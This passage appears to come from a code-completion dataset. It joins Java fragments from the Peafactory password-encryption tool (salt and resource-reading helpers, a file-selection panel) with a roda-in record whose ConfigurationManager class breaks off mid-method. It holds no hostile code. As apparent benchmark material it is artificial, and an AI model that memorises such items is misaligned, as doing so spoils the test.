{\n\t\tprogramRandomBytes = _programRandomBytes;\n\t}\n\tpublic final static byte[] getProgramRandomBytes() {\n\t\tif (programRandomBytes == null) {\n\t\t\tSystem.err.println(\"Attachments getProgramRandomBytes: programRandomBytes null\");\n\t\t}\n\t\treturn programRandomBytes;\n\t}\n\n\t\n\tpublic final static int getProgramRandomBytesSize() {\n\t\treturn PROGRAM_RANDOM_BYTES_SIZE;\n\t}\n\tpublic final static int getPswIdentifierSize() {\n\t\treturn PSW_IDENTIFIER_SIZE;\n\t}\n\tpublic final static int getFileIdentifierSize() {\n\t\treturn FILE_IDENTIFIER_SIZE;\n\t}\n\tpublic final static int getNonceSize() {\n\t\treturn NONCE_SIZE;\n\t}\n\tpublic static byte[] attachBytes(byte[] sourceBytes, byte[] bytesToAttach) {\n\t\t\n\t\tif(sourceBytes == null || bytesToAttach == null) {\n\t\t\tSystem.err.println(\"Attachments: attachedBytes failed\");\n\t\t\tSystem.exit(1);\n\t\t}\n\t\t\n\t\tbyte[] result = new byte[sourceBytes.length + bytesToAttach.length];\n\t\tSystem.arraycopy(sourceBytes, 0, result, 0, sourceBytes.length);\n\t\tSystem.arraycopy(bytesToAttach, 0, \n\t\t\t\tresult, sourceBytes.length, bytesToAttach.length);\n\t\t\n\t\tZeroizer.zero(sourceBytes);\n\t\treturn result;\t\n\t}\t\n\tpublic final static void addSalt( RandomAccessFile f, byte[] attachedSalt) \n\t\t\tthrows IOException { \n\t\t\n\t\tif( attachedSalt == null ) {\n\t\t\tthrow new IllegalArgumentException (\"Attached Salt null\");\n\t\t}\t\t\n\t\taddBytes(f, attachedSalt);\n\t}\n\tpublic final static void cutSalt( RandomAccessFile f) \n\t\t\tthrows IOException { \n\t\t//int cryptIvLength = CipherStuff.getCipherAlgo().getBlockSize();\n\t\t\n\t\tif(f.length() < PROGRAM_RANDOM_BYTES_SIZE ) {\n\t\t\tthrow new IllegalArgumentException(\"file is too short: \" + f.toString() );\n\t\t}\n\t\tcutLastBytes(f, PROGRAM_RANDOM_BYTES_SIZE);\n\t}\n\tpublic final static byte[] cutSalt(byte[] input) {\t\n\t\t\n\t\tif(input.length < PROGRAM_RANDOM_BYTES_SIZE ) {\n\t\t\tSystem.err.println(\"input is too short to contain the salt. \");\n\t\t\treturn null;\n\t\t} \n\t\tbyte[] result = new byte[input.length - PROGRAM_RANDOM_BYTES_SIZE];\n\t\tSystem.arraycopy(input, 0, result, 0, result.length);\n\t\tZeroizer.zero(input);\n\t\t\n\t\treturn result;\n\t}\n\tpublic final static byte[] getSalt(byte[] cipherBytes) { \n\t\tbyte[] result = new byte[PROGRAM_RANDOM_BYTES_SIZE];\n\t\tSystem.arraycopy(cipherBytes, 0, result, 0, result.length);\n\t\treturn result;\n\t}\n\tpublic final static byte[] getAndCutSalt( RandomAccessFile f, boolean truncate) \n\t\t\tthrows IOException { \n\t\tif(f.length() < PROGRAM_RANDOM_BYTES_SIZE ) {\n\t\t\tthrow new IllegalArgumentException(\"file is too short: \" + f.toString() );\n\t\t}\n\t\treturn getLastBytes(f, PROGRAM_RANDOM_BYTES_SIZE, truncate);\n\t}\n\tpublic final static byte[] getEndBytesOfFile( String fileName, int resultLen) \n\t\t\tthrows IOException { \n\t\t\n\t\tRandomAccessFile f = new RandomAccessFile( fileName, \"r\" );\n\t\t\n\t\tif(f.length() < resultLen) {\n\t\t\tf.close();\n\t\t\tthrow new IllegalArgumentException(\"file is too short: \" + f.toString() );\n\t\t}\n\t\tbyte[] result = getLastBytes(f, resultLen, false);\n\t\tf.close();\n\t\treturn result;\n\t}\n}", "public final class ReadResources {\n\n\n public static byte[] readResourceFile( String fileName ) {\n \t\n \tbyte[] byteArray = null; // return value; \t\n \t\n \tClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n \tif (classLoader == null) {\n \t classLoader = Class.class.getClassLoader();\n \t}\n \tif (classLoader == null) System.err.println(\"ReadResources: Classloader is null\");\n\n \tInputStream is = classLoader.getResourceAsStream(\"resources/\" + fileName);//\"resources/fileName\");\n \tif (is == null) {\n \t\tSystem.err.println(\"ReadResources:InputStream is is null\");\n \t\treturn null;\n \t}\n\n \t// Stream to write in buffer \n \t//buffer of baos automatically grows as data is written to it\n \tByteArrayOutputStream baos = new ByteArrayOutputStream();\n \tint bytesRead;\n \tbyte[] ioBuf = new byte[4096];\n \t try {\n\t\t\twhile ((bytesRead = is.read(ioBuf)) != -1) baos.write(ioBuf, 0, bytesRead);\t\t\t\n\t\t} catch (IOException e1) {\n\t\t\tSystem.err.println(\"ReadResources: \" + e1);\n\t\t\te1.printStackTrace();\n\t\t}\n \t \n \tif (is != null)\n\t\t\ttry {\n\t\t\t\tis.close();\n\t\t\t} catch (IOException e) {\n\t\t\t\tSystem.err.println(\"ReadResources: \" + e);\n\t\t\t\te.printStackTrace();\n\t\t\t}\n \t\n \t//System.out.println(\"baos vor fill: \" + baos.toString() );\n \tbyteArray = baos.toByteArray();\n \t\n \t// Fill buffer of baos with Zeros\n \tint bufferSize = baos.size();\n \tbaos.reset(); // count of internal buffer = 0\n \ttry {\n\t\t\tbaos.write(new byte[bufferSize]); // fill with Null-Bytes\n\t\t} catch (IOException e) {\n\t\t\tSystem.err.println(\"ReadResources: \" + e);\n\t\t\te.printStackTrace();\n\t\t}\n \t//System.out.println(\"baos nach fill: \" + baos.toString() );\n \treturn byteArray;\n \n }\n \n public static final byte[] getResourceFromJAR( String fileNameInJar){\n\n \tbyte[] result = null;\n\n \tURL url = ReadResources.class.getClassLoader().getResource(fileNameInJar);\t\n \t\n \tByteArrayOutputStream bais = new ByteArrayOutputStream();\n \tInputStream is = null;\n \ttry {\n \t\tis = url.openStream ();\n \t\tbyte[] buffer = new byte[4096]; \n \t\tint n;\n\n \t\twhile ( (n = is.read(buffer)) > 0 ) {\n \t\t\tbais.write(buffer, 0, n);\n \t\t}\n \t} catch (IOException ioe) {\n \t\tSystem.err.printf (\"ReadResources: getResourceFromJar failes: \" + url.toExternalForm());\n \t\tioe.printStackTrace ();\n \t} finally {\n \t\tif (is != null) { \n \t\t\ttry {\n \t\t\t\tis.close();\n \t\t\t} catch (IOException e) {\n \t\t\t\tSystem.err.println(\"ReadResources: \" + e);\n \t\t\t\te.printStackTrace();\n \t\t\t} \n \t\t}\n \t}\n \tresult = bais.toByteArray();// no need to clear: resource is encrypted\n \treturn result;\n }\n \n\n \n public static byte[] readExternFile(String fileName) {\n \t\n \tbyte[] byteArray = null; \t\n \t\n \tFile file = new File(fileName);\n \tif (checkFile(file) == false) {\n \t\treturn null;\n \t}\n \t\n \tint sizeOfFile = (int) file.length();\n \t\n \tFileInputStream fis = null;\n\t\ttry {\n\t\t\tfis = new FileInputStream( file );\n\t\t} catch (FileNotFoundException e1) {\n\t\t\tSystem.err.println(\"ReadResources: \" + e1);\n\t\t\te1.printStackTrace();\n\t\t}\n \tFileChannel chan = fis.getChannel( );\n \tByteBuffer bytebuff = ByteBuffer.allocateDirect( (int)file.length() );\n \tbyteArray = new byte[sizeOfFile];\n \t//long checkSum = 0L;\n \tint nRead, nGet;\n \ttry {\n\t\t\twhile ( (nRead=chan.read( bytebuff )) != -1 )\n\t\t\t{\n\t\t\t if ( nRead == 0 )\n\t\t\t continue;\n\t\t\t bytebuff.position( 0 );\n\t\t\t bytebuff.limit( nRead );\n\t\t\t while( bytebuff.hasRemaining( ) )\n\t\t\t {\n\t\t\t nGet = Math.min( bytebuff.remaining( ), sizeOfFile );\n\t\t\t bytebuff.get( byteArray, 0, nGet ); // fills byteArray with bytebuff\n\t\t\t }\n\t\t\t bytebuff.clear( );\n\t\t\t}\n\t\t} catch (IOException e1) {\n\t\t\tSystem.err.println(\"ReadResources: \" + e1);\n\t\t\te1.printStackTrace();\n\t\t}\n \t\n \tif (fis != null){\n \t\t\ttry {\n \t\t\t\tfis.close();\n \t\t\t} catch (IOException e) {\n \t\t\t\tSystem.err.println(\"ReadResources: FileInputStream close: \" + e.toString());\n \t\t\t\te.printStackTrace();\n \t\t\t}\n \t}\n \tbytebuff.clear();\n \t\n \treturn byteArray;\n }\n \n public final File[] list(File file) {\n \tint number = countDirectoryContent(file);\n \tFile[] content = new File[number];\n \tint i = 0;\n //System.out.println(file.getName());\n File[] children = file.listFiles();\n if (children != null) {\n for (File child : children) {\n \tcontent[i++] = child;\n list(child);\n }\n }\n return content;\n }\n\n \n\tprivate int fileNumber = 0;\n // number of containing files and sub-directories\n\tpublic final int countDirectoryContent(File file) {\n\n File[] children = file.listFiles();\n \n if (children != null) {\n \tfileNumber += children.length;\n for (File child : children) {\n \t//System.out.println(file.getName());\n \t//number++;\n \tif (child.isDirectory() ) {\n \t\tcountDirectoryContent(child);\n \t}\n }\n }\n return fileNumber;\n }\n\t\n\tpublic final static boolean checkFile(File file) {\n\t\t\n \tif (file.length() > Integer.MAX_VALUE) { // > int\n \t\tSystem.err.println(\"ReadResources: File is larger than size of int: \" + file.getAbsolutePath() );\n \t\treturn false;//new byte[0];\n \t}\n \tif (! file.exists()) {\n \t\tSystem.err.println(\"ReadResources: File does not exist: \" + file.getAbsolutePath());\n \t\treturn false;\n \t}\n \tif (! file.canRead() ) {\n \t\tSystem.err.println(\"ReadResources: Can not read file: \" + file.getAbsolutePath());\n \t\treturn false;\n \t}\n \tif ( file.isDirectory() ) {\n \t\tSystem.err.println(\"ReadResources: File is directory: \" + file.getAbsolutePath());\n \t\treturn false;\n \t}\n \tif (file.length() == 0) {\n \t\tSystem.err.println(\"ReadResources: File is empty: \" + file.getAbsolutePath());\n \t\treturn false;\n \t}\n \treturn true;\t\t\n\t}\n}" ]
import java.awt.*; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.io.File; import java.io.UnsupportedEncodingException; import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; import java.util.Locale; import java.util.MissingResourceException; import java.util.ResourceBundle; import java.util.regex.Pattern; import javax.swing.*; import javax.swing.border.EmptyBorder; import javax.swing.border.LineBorder; import settings.PeaSettings; import cologne.eck.peafactory.peas.PswDialogBase; import cologne.eck.peafactory.peas.gui.PswDialogView; import cologne.eck.peafactory.tools.Attachments; import cologne.eck.peafactory.tools.ReadResources;
package cologne.eck.peafactory.peas.file_pea; /* * Peafactory - Production of Password Encryption Archives * Copyright (C) 2015 Axel von dem Bruch * * This library is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published * by the Free Software Foundation; either version 2 of the License, * or (at your option) any later version. * This library is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY * or FITNESS FOR A PARTICULAR PURPOSE. * See the GNU General Public License for more details. * See: http://www.gnu.org/licenses/gpl-2.0.html * You should have received a copy of the GNU General Public License * along with this library. */ /** * Displays the selected files for file pea. * Used in MainView, PswDialogFile and LockFrameFile. */ /* Displays selected files, hierarchy, invalid files, file number, all selected size... * * ============================================= * PUBLIC: * * - FileDisplayPanel(int scrollWidth, int scrollHeight, boolean _plainFiles) * * - String[] getSelectedFileNames() * - void setCheckBoxInvalid(String originalFileName, String newAnnotatedFileName) * - void addNewCheckBoxes(File[] newFiles) * - static String getInvalidMarker() * * ============================================= * ACTIONS AND METHODS: * * Action "addFiles" (Button) * - chooser.getSelectedFiles * - addNewCheckBoxes * - checkDoubles() * - add to originalFileNames and annotatedFileNames * - new JCheckBox check * - checkAccess * / isFile: add(check) * / isDirectory: add(check), checkNumberAndSize, getNumberAndSize, listFiles, add(includedCheckBoxes) * - displayNewNumberAndSize(); * - updateWindow(); * * * Action "dirSelection" (JCheckBox) * - select/deselect checkBox * - select/deselect all children * - if deselection: deselectParentDirs * - displayNewNumberAndSize * * Action (fileSelection" (JCheckBox) * - select/deselect CheckBox * - if deselection: deselectParentDirs * - displayNeNumberAndSize * * * TODO: Festplattenlesefehler... (IOEXceptions) */ @SuppressWarnings("serial") public class FileTypePanel extends JPanel implements ActionListener{ private static FileTypePanel ftp; private FileComposer fc = new FileComposer(); private ResourceBundle languagesBundle; // Task to show a progress bar: private ProgressTask task; JPanel buttonPanel; JPanel checkPanel; // contains only JCheckBoxes private JLabel infoLabel; // displays file number and size private JFileChooser chooser; private boolean plainModus = true; // select plain files or encrypted files private boolean directoryWarning = false; // once for each session private static boolean sizeWarning = false;// warn only one time private static boolean extremeSizeWarning = false; private static boolean numberWarning = false; // Values for file check private static final String INVALID_MARKER = "/***/ "; // all files of annotatedFileNames starting with this will not be encrypted private static final String DIRECTORY_MARKER = "###"; // all directories of annotatedFileNames ends with this private int fileNumber = 0; // number of displayed valid files private long allSize = 0; // size of displayed valid files private final static int FILE_NUMBER_LIMIT = 512; // Warning if selected file number > FILE_NUMBER_LIMIT private final static long SIZE_LIMIT = 1024 * 1024 * 64; // 64 MiB private static final Color directoryColor = new Color(215,215,215); // background color of JCheckBox for directories private static final Color invalidDirectoryColor = new Color(235,210,210); // background color of JCheckBox for directories private static final Color fileColor = new Color(245,245,245); private static final Color invalidColor = new Color(255, 220, 220); public FileTypePanel(int scrollWidth, int scrollHeight, boolean _plainModus){//, String[] newFileNames) { ftp = this; PswDialogView.setUI(); try {
languagesBundle = PswDialogBase.getBundle();
1
keeps/roda-in
src/main/java/org/roda/rodain/ui/source/SourceTreeCell.java
[ "public class ConfigurationManager {\n private static final Logger LOGGER = LoggerFactory.getLogger(ConfigurationManager.class.getName());\n\n private static final Path rodainPath = computeRodainPath();\n private static Path schemasPath, templatesPath, logPath, metadataPath, helpPath, externalConfigPath,\n externalAppConfigPath;\n private static PropertiesConfiguration style = load(\"styles\"), internalConfig = load(\"config\"), externalConfig,\n externalAppConfig;\n private static PropertiesConfiguration startExternalConfig, startExternalAppConfig;\n private static ResourceBundle resourceBundle, defaultResourceBundle, helpBundle, defaultHelpBundle;\n private static Locale locale;\n\n private static Set<Path> allSchemas;\n\n private ConfigurationManager() {\n }\n\n private static Path computeRodainPath() {\n String envString = System.getenv(Constants.RODAIN_HOME_ENV_VARIABLE);\n if (envString != null) {\n Path envPath = Paths.get(envString);\n if (Files.exists(envPath) && Files.isDirectory(envPath)) {\n Path confPath = envPath.resolve(Constants.RODAIN_CONFIG_FOLDER);\n try {\n FileUtils.deleteDirectory(confPath.toFile());\n } catch (IOException e) {\n LOGGER.debug(\"Unable to remove configuration directory '{}'\", confPath, e);\n }\n return confPath;\n }\n }\n String documentsString = FileSystemView.getFileSystemView().getDefaultDirectory().getPath();\n Path documentsPath = Paths.get(documentsString);\n return documentsPath.resolve(Constants.RODAIN_CONFIG_FOLDER);\n }\n\n /**\n * Creates the external properties files if they don't exist. Loads the\n * external properties files.\n */\n public static void initialize() {\n externalConfigPath = rodainPath.resolve(Constants.CONFIG_FILE);\n externalAppConfigPath = rodainPath.resolve(Constants.APP_CONFIG_FILE);\n\n try {\n createBaseFolderStructure();\n\n configureLogback();\n\n copyConfigFiles();\n\n copyMetadataTemplates();\n\n copyAndProcessSchemas();\n\n loadConfigs();\n\n processLanguageAndOtherResources();\n\n processIgnoreFilesInfo();\n\n copyHelpFiles();\n\n } catch (IOException e) {\n LOGGER.error(\"Error creating folders or copying config files\", e);\n } catch (MissingResourceException e) {\n LOGGER.error(\"Can't find the language resource for the current locale\", e);\n locale = Locale.forLanguageTag(\"en\");\n resourceBundle = ResourceBundle.getBundle(\"properties/lang\", locale, new FolderBasedUTF8Control());\n helpBundle = ResourceBundle.getBundle(\"properties/help\", locale, new FolderBasedUTF8Control());\n } catch (Throwable e) {\n LOGGER.error(\"Error loading the config file\", e);\n } finally {\n // force the default locale for the JVM\n Locale.setDefault(locale);\n }\n }\n\n private static void createBaseFolderStructure() throws IOException {\n // create folder in home if it doesn't exist\n if (!Files.exists(rodainPath)) {\n Files.createDirectory(rodainPath);\n }\n // create schemas folder\n schemasPath = rodainPath.resolve(Constants.FOLDER_SCHEMAS);\n if (!Files.exists(schemasPath)) {\n Files.createDirectory(schemasPath);\n }\n // create templates folder\n templatesPath = rodainPath.resolve(Constants.FOLDER_TEMPLATES);\n if (!Files.exists(templatesPath)) {\n Files.createDirectory(templatesPath);\n }\n // create LOGGER folder\n logPath = rodainPath.resolve(Constants.FOLDER_LOG);\n if (!Files.exists(logPath)) {\n Files.createDirectory(logPath);\n }\n // create metadata folder\n metadataPath = rodainPath.resolve(Constants.FOLDER_METADATA);\n if (!Files.exists(metadataPath)) {\n Files.createDirectory(metadataPath);\n }\n // create help folder\n helpPath = rodainPath.resolve(Constants.FOLDER_HELP);\n if (!Files.exists(helpPath)) {\n Files.createDirectory(helpPath);\n }\n }\n\n private static void configureLogback() {\n System.setProperty(\"rodain.log\", logPath.toString());\n try {\n LoggerContext context = (LoggerContext) LoggerFactory.getILoggerFactory();\n JoranConfigurator configurator = new JoranConfigurator();\n configurator.setContext(context);\n context.reset();\n // 20170314 hsilva: logback file was named differently from what logback\n // usually expects in order to avoid auto-loading by logback as we want to\n // place the log file under roda-in home\n configurator.doConfigure(ClassLoader.getSystemResource(\"lllogback.xml\"));\n } catch (JoranException e) {\n LOGGER.error(\"Error configuring logback\", e);\n }\n }\n\n private static void copyConfigFiles() throws IOException {\n if (!Files.exists(externalConfigPath)) {\n Files.copy(ClassLoader.getSystemResourceAsStream(\"properties/\" + Constants.CONFIG_FILE), externalConfigPath);\n }\n\n if (!Files.exists(externalAppConfigPath)) {\n Files.copy(ClassLoader.getSystemResourceAsStream(\"properties/\" + Constants.APP_CONFIG_FILE),\n externalAppConfigPath);\n }\n }\n\n private static void copyMetadataTemplates() throws IOException {\n String templatesRaw = getConfig(Constants.CONF_K_METADATA_TEMPLATES);\n String[] templates = templatesRaw.split(Constants.MISC_COMMA);\n for (String templ : templates) {\n String templateName = Constants.CONF_K_PREFIX_METADATA + templ.trim() + Constants.CONF_K_SUFFIX_TEMPLATE;\n String fileName = internalConfig.getString(templateName);\n // copy the sample to the templates folder too, if it doesn't exist\n // already\n if (!Files.exists(templatesPath.resolve(fileName))) {\n Files.copy(\n ClassLoader.getSystemResourceAsStream(Constants.FOLDER_TEMPLATES + Constants.MISC_FWD_SLASH + fileName),\n templatesPath.resolve(fileName), StandardCopyOption.REPLACE_EXISTING);\n }\n }\n }\n\n private static void copyAndProcessSchemas() throws IOException {\n String typesRaw = getConfig(Constants.CONF_K_METADATA_TYPES);\n String[] types = typesRaw.split(Constants.MISC_COMMA);\n for (String type : types) {\n String schemaName = Constants.CONF_K_PREFIX_METADATA + type.trim() + Constants.CONF_K_SUFFIX_SCHEMA;\n String schemaFileName = internalConfig.getString(schemaName);\n if (schemaFileName == null || schemaFileName.length() == 0) {\n continue;\n }\n if (!Files.exists(schemasPath.resolve(schemaFileName))) {\n Files.copy(\n ClassLoader.getSystemResourceAsStream(Constants.FOLDER_TEMPLATES + Constants.MISC_FWD_SLASH + schemaFileName),\n schemasPath.resolve(schemaFileName), StandardCopyOption.REPLACE_EXISTING);\n }\n }\n\n // ensure that the xlink.xsd and xml.xsd files are in the application home\n // folder\n Files.copy(ClassLoader.getSystemResourceAsStream(\"xlink.xsd\"), schemasPath.resolve(\"xlink.xsd\"),\n StandardCopyOption.REPLACE_EXISTING);\n Files.copy(ClassLoader.getSystemResourceAsStream(\"xml.xsd\"), schemasPath.resolve(\"xml.xsd\"),\n StandardCopyOption.REPLACE_EXISTING);\n\n // get all schema files in the roda-in home directory\n allSchemas = new HashSet<>();\n File folder = rodainPath.toFile();\n File[] listOfFiles = folder.listFiles();\n\n for (int i = 0; i < listOfFiles.length; i++) {\n if (listOfFiles[i].isFile()) {\n File file = listOfFiles[i];\n if (file.getName().endsWith(\".xsd\")) {\n allSchemas.add(Paths.get(file.getPath()));\n }\n }\n }\n }\n\n private static void loadConfigs() throws ConfigurationException, FileNotFoundException {\n externalConfig = new PropertiesConfiguration();\n externalConfig.load(new FileInputStream(externalConfigPath.toFile()), Constants.RODAIN_DEFAULT_CONFIG_ENCODING);\n externalAppConfig = new PropertiesConfiguration();\n externalAppConfig.load(new FileInputStream(externalAppConfigPath.toFile()),\n Constants.RODAIN_DEFAULT_CONFIG_ENCODING);\n\n // keep the starting configuration to use when saving\n startExternalConfig = new PropertiesConfiguration();\n startExternalConfig.load(new FileInputStream(externalConfigPath.toFile()),\n Constants.RODAIN_DEFAULT_CONFIG_ENCODING);\n startExternalAppConfig = new PropertiesConfiguration();\n startExternalAppConfig.load(new FileInputStream(externalAppConfigPath.toFile()),\n Constants.RODAIN_DEFAULT_CONFIG_ENCODING);\n }\n\n private static void processLanguageAndOtherResources() {\n String appLanguage = getAppConfig(\"app.language\");\n if (StringUtils.isBlank(appLanguage)) {\n appLanguage = getConfig(Constants.CONF_K_DEFAULT_LANGUAGE);\n }\n locale = parseLocale(appLanguage);\n resourceBundle = ResourceBundle.getBundle(\"properties/lang\", locale, new FolderBasedUTF8Control());\n helpBundle = ResourceBundle.getBundle(\"properties/help\", locale, new FolderBasedUTF8Control());\n defaultResourceBundle = ResourceBundle.getBundle(\"properties/lang\", Locale.ENGLISH, new FolderBasedUTF8Control());\n defaultHelpBundle = ResourceBundle.getBundle(\"properties/help\", Locale.ENGLISH, new FolderBasedUTF8Control());\n }\n\n public static Locale parseLocale(String localeString) {\n Locale locale = Locale.ENGLISH;\n if (StringUtils.isNotBlank(localeString)) {\n String[] localeArgs = localeString.split(\"_\");\n\n if (localeArgs.length == 1) {\n locale = new Locale(localeArgs[0]);\n } else if (localeArgs.length == 2) {\n locale = new Locale(localeArgs[0], localeArgs[1]);\n } else if (localeArgs.length == 3) {\n locale = new Locale(localeArgs[0], localeArgs[1], localeArgs[2]);\n }\n }\n\n return locale;\n }\n\n private static void processIgnoreFilesInfo() {\n String ignorePatterns = getAppConfig(Constants.CONF_K_IGNORED_FILES);\n if (ignorePatterns != null && !ignorePatterns.trim().equalsIgnoreCase(\"\")) {\n String[] patterns = ignorePatterns.split(Constants.MISC_COMMA);\n for (String pattern : patterns) {\n IgnoredFilter.addIgnoreRule(pattern.trim());\n }\n }\n }\n\n private static void copyHelpFiles() {\n // 20170524 hsilva: we need to copy help files knowing all the file names\n // because using windows exe (jar wrapped with launch4j), strategies like\n // reflections do not work well\n List<Object> helpFiles = internalConfig.getList(\"help.files\");\n for (Object object : helpFiles) {\n String helpFile = (String) object;\n Path helpFilePath = helpPath.resolve(helpFile);\n if (!Files.exists(helpFilePath)) {\n try {\n Files.copy(ClassLoader.getSystemResourceAsStream(Constants.FOLDER_HELP + Constants.MISC_FWD_SLASH + helpFile),\n helpFilePath, StandardCopyOption.REPLACE_EXISTING);\n } catch (IOException e) {\n LOGGER.error(\"Error while copying help file '{}' to '{}'\", helpFile, helpPath);\n }\n }\n }\n }\n\n /**\n * @return The path of the application folder.\n */\n public static Path getRodainPath() {\n return rodainPath;\n }\n\n /**\n * @return The locale of the application.\n */\n public static Locale getLocale() {\n return locale;\n }\n\n private static PropertiesConfiguration load(String fileName) {\n PropertiesConfiguration result = null;\n try {\n result = new PropertiesConfiguration(\"properties/\" + fileName + \".properties\");\n } catch (ConfigurationException e) {\n LOGGER.error(\"Error loading the config file\", e);\n }\n return result;\n }\n\n public static String getHelpFile() {\n Path helpFile = helpPath.resolve(\"help_\" + getLocale().toString() + \".html\");\n if (!Files.exists(helpFile)) {\n helpFile = helpPath.resolve(\"help_en.html\");\n if (!Files.exists(helpFile)) {\n helpFile = helpPath.resolve(\"help.html\");\n }\n }\n\n if (Controller.systemIsWindows()) {\n try {\n return helpFile.toUri().toURL().toString();\n } catch (MalformedURLException e) {\n return \"file://\" + helpFile.toString();\n }\n } else {\n return \"file://\" + helpFile.toString();\n }\n }\n\n /**\n * @param templateName\n * The name of the template\n * @return The content of the template file\n */\n public static String getTemplateContent(String templateName) {\n String completeKey = Constants.CONF_K_PREFIX_METADATA + templateName + Constants.CONF_K_SUFFIX_TEMPLATE;\n return getFile(completeKey);\n }\n\n /**\n * @param templateType\n * The name of the template\n * @return The content of the schema file associated to the template\n */\n public static InputStream getSchemaFile(String templateType) {\n String completeKey = Constants.CONF_K_PREFIX_METADATA + templateType + Constants.CONF_K_SUFFIX_SCHEMA;\n if (externalConfig.containsKey(completeKey)) {\n Path filePath = schemasPath.resolve(externalConfig.getString(completeKey));\n if (Files.exists(filePath)) {\n try {\n return Files.newInputStream(filePath);\n } catch (IOException e) {\n LOGGER.error(\"Unable to get schema file '{}'\", filePath, e);\n }\n }\n }\n return null;\n }\n\n /**\n * @param templateType\n * The name of the template\n * @return The path of the schema file associated to the template\n */\n public static Path getSchemaPath(String templateType) {\n String completeKey = Constants.CONF_K_PREFIX_METADATA + templateType + Constants.CONF_K_SUFFIX_SCHEMA;\n if (externalConfig.containsKey(completeKey)) {\n Path filePath = schemasPath.resolve(externalConfig.getString(completeKey));\n if (Files.exists(filePath)) {\n return filePath;\n }\n }\n String fileName = internalConfig.getString(completeKey);\n URL temp = ClassLoader.getSystemResource(Constants.FOLDER_TEMPLATES + Constants.MISC_FWD_SLASH + fileName);\n if (temp != null)\n return Paths.get(temp.getPath());\n else\n return null;\n }\n\n private static String getFile(String completeKey) {\n try {\n if (externalConfig.containsKey(completeKey)) {\n Path filePath = templatesPath.resolve(externalConfig.getString(completeKey));\n if (Files.exists(filePath)) {\n return ControllerUtils.readFile(filePath);\n }\n }\n String fileName = internalConfig.getString(completeKey);\n URL temp = ClassLoader.getSystemResource(Constants.FOLDER_TEMPLATES + Constants.MISC_FWD_SLASH + fileName);\n if (temp == null) {\n return \"\";\n }\n InputStream contentStream = temp.openStream();\n return ControllerUtils.convertStreamToString(contentStream);\n } catch (IOException e) {\n LOGGER.error(\"Error reading metadata file\", e);\n }\n return \"\";\n }\n\n /**\n * @param key\n * The name of the property (style)\n * @return The value of the property (style)\n */\n public static String getStyle(String key) {\n return style.getString(key);\n }\n\n /**\n * Method to return config related to metadata (it composes the key to look\n * for by prefixing the method argument with \"metadata.\")\n * \n * @param partialKey\n * the end part of the key to look for\n */\n public static String getMetadataConfig(String partialKey) {\n return getConfig(Constants.CONF_K_PREFIX_METADATA + partialKey);\n }\n\n /**\n * @param key\n * The name of the property (config)\n * @return The value of the property (config)\n */\n public static String getConfig(String key) {\n Object res;\n if (externalConfig != null && externalConfig.containsKey(key)) {\n res = externalConfig.getProperty(key);\n } else {\n res = internalConfig.getProperty(key);\n }\n if (res == null) {\n return null;\n }\n if (res instanceof String) {\n return (String) res;\n }\n // if it isn't a string then it must be a list Ex: a,b,c,d\n return String.join(Constants.MISC_COMMA, (List<String>) res);\n }\n\n /**\n * @param key\n * The name of the property (config)\n * @return The value of the property (config)\n */\n public static Boolean getConfigAsBoolean(String key, boolean defaultValue) {\n // valueOf defaults to false, using an 'or' to force the default\n return Boolean.valueOf(getConfig(key)) || defaultValue;\n }\n\n /**\n * @param key\n * The name of the property (config)\n * @return The value of the property (config)\n */\n public static Boolean getConfigAsBoolean(String key) {\n return getConfigAsBoolean(key, false);\n }\n\n /**\n * @param key\n * The name of the property (config)\n * @return The value of the property (config)\n */\n public static String[] getConfigAsStringArray(String key) {\n String[] res;\n if (externalConfig != null && externalConfig.containsKey(key)) {\n res = externalConfig.getStringArray(key);\n } else {\n res = internalConfig.getStringArray(key);\n }\n if (res == null) {\n return new String[] {};\n } else {\n return res;\n }\n }\n\n /**\n * @param key\n * The name of the property (config)\n * @return The value of the property (config)\n */\n public static String getConfigArray(String key) {\n Object res;\n if (externalConfig != null && externalConfig.containsKey(key)) {\n res = externalConfig.getProperty(key);\n } else {\n res = internalConfig.getProperty(key);\n }\n if (res == null) {\n return null;\n }\n if (res instanceof String) {\n return (String) res;\n }\n // if it isn't a string then it must be a list Ex: a,b,c,d\n return String.join(Constants.MISC_COMMA, (List<String>) res);\n }\n\n protected static String getLocalizedStringForLanguage(String key, String languageTag) {\n ResourceBundle localResourceBundle = ResourceBundle.getBundle(\"properties/lang\", Locale.forLanguageTag(languageTag),\n new FolderBasedUTF8Control());\n String result = null;\n\n try {\n result = localResourceBundle.getString(key);\n } catch (MissingResourceException e) {\n LOGGER.trace(\"Missing translation for {} in language: {}\", key, localResourceBundle.getLocale().getDisplayName());\n result = getLocalizedString(key);\n }\n return result;\n }\n\n /**\n * Uses ResourceBundle to get the language specific string\n *\n * @param key\n * The name of the property\n *\n * @param values\n * Optional replacement values that will, in order, replace any {}\n * found in the localized string\n * \n * @return The value of the property using\n */\n protected static String getLocalizedString(String key, Object... values) {\n String result = null;\n try {\n result = resourceBundle.getString(key);\n } catch (MissingResourceException e) {\n LOGGER.trace(\"Missing translation for {} in language: {}\", key, locale.getDisplayName());\n try {\n result = defaultResourceBundle.getString(key);\n } catch (Exception e1) {\n LOGGER.trace(\"Missing translation for {} in language: {}\", key, Locale.ENGLISH);\n }\n }\n\n if (result != null) {\n for (Object value : values) {\n result = result.replace(\"{}\", String.valueOf(value));\n }\n }\n\n return result;\n }\n\n protected static String getLocalizedHelp(String key) {\n String result = null;\n try {\n result = helpBundle.getString(key);\n if (\"\".equals(result)) {\n throw new MissingResourceException(\"\", \"\", key);\n }\n } catch (MissingResourceException e) {\n LOGGER.trace(\"Missing translation for help {} in language: {}\", key, locale.getDisplayName());\n try {\n result = defaultHelpBundle.getString(key);\n } catch (Exception e1) {\n LOGGER.trace(\"Missing translation for help {} in language: {}\", key, Locale.ENGLISH);\n }\n }\n return result;\n }\n\n /**\n * Sets the value of a configuration.\n * \n * @param key\n * The key of the property.\n * @param value\n * The value of the property\n */\n public static void setConfig(String key, String value) {\n setConfig(key, value, false);\n }\n\n /**\n * Sets the value of a configuration.\n * \n * @param key\n * The key of the property.\n * @param value\n * The value of the property\n * @param saveToFile\n * true if after setting the key/value, is supposed to save that\n * information to file\n */\n public static void setConfig(String key, String value, boolean saveToFile) {\n externalConfig.setProperty(key, value);\n if (saveToFile) {\n saveConfig();\n }\n }\n\n public static void 